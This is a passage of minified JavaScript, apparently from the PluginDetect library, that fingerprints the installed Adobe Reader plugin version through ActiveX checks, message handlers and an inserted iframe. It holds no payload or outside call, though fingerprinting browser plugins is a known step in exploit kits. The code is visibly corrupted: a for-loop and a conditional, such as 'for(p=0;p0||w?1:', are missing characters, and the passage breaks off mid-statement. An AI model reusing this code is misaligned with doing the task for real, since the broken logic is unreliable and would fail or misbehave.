t}t.detected=-1;v=PluginDetect.getAXO(t.progID_dummy);if(!v){w=PluginDetect.errObj}for(p=0;p0||w?1:(q==-0.1||q==-0.5?-0.5:-1);if(w){y.version=w}if(t){y.precision=t}return y}},doc2:{detected:0,version:null,precision:0,classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",mimeType:"application/pdf",HTML:0,count:0,count2:0,time2:0,intervalLength:50,maxCount:150,isDisabled:function(){var r=this,v=c,u=v.axo,p=v.nav,x=v.doc,w,t,q=0,s;if(r.HTML){q=2}else{if(PluginDetect.dbug){}else{if(!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){q=2}else{w=(p?p.version:0)||(u?u.version:0)||(x?x.version:0)||0;t=(p?p.precision:0)||(u?u.precision:0)||(x?x.precision:0)||0;if(!w||!t||t>2||PluginDetect.compareNums(PluginDetect.formatNum(w),PluginDetect.formatNum("11"))<0){q=2}}}}if(q<2){s=PluginDetect.file.getValid(v);if(!s||!s.full){q=1}}return q},handlerSet:0,onMessage:function(){var p=this;return function(q){if(p.version){return}p.detected=1;if(PluginDetect.isArray(q)){q=q[0]}q=PluginDetect.getNum(q+"");if(q){if(!(/[.,_]/).test(q)){q+="."}q+="00000";if((/^(\d+)[.,_](\d)(\d\d)(\d\d)/).test(q)){q=RegExp.$1+","+RegExp.$2+","+RegExp.$3+","+RegExp.$4}p.version=PluginDetect.formatNum(q);p.precision=3;c.setPluginStatus()}}},isDefinedMsgHandler:function(q,r){try{return q?q.messageHandler!==r:0}catch(p){}return 1},queryObject:function(){var r=this,s=r.HTML,q=s?s.obj():0;if(!q){return}if(!r.handlerSet&&r.isDefinedMsgHandler(q)){try{q.messageHandler={onMessage:r.onMessage()}}catch(p){}r.handlerSet=1;r.count2=r.count;r.time2=(new Date()).getTime()}if(!r.detected){if(r.count>3&&!r.handlerSet){r.detected=-1}else{if(r.time2&&r.count-r.count2>=r.maxCount&&(new Date()).getTime()-r.time2>=r.intervalLength*r.maxCount){r.detected=-0.5}}}if(r.detected){if(r.detected!=-1){}}},insertHTMLQuery:function(){var u=this,p=c,r=PluginDetect.DOM.altHTML,q,s,t=0;if(u.isDisabled()){return u}if(p.OTF<2){p.OTF=2}q=PluginDetect.file.getValid(p).full;s=PluginDetect.DOM.iframe.insert(0,"Adobe Reader");PluginDetect.DOM.iframe.write(s,'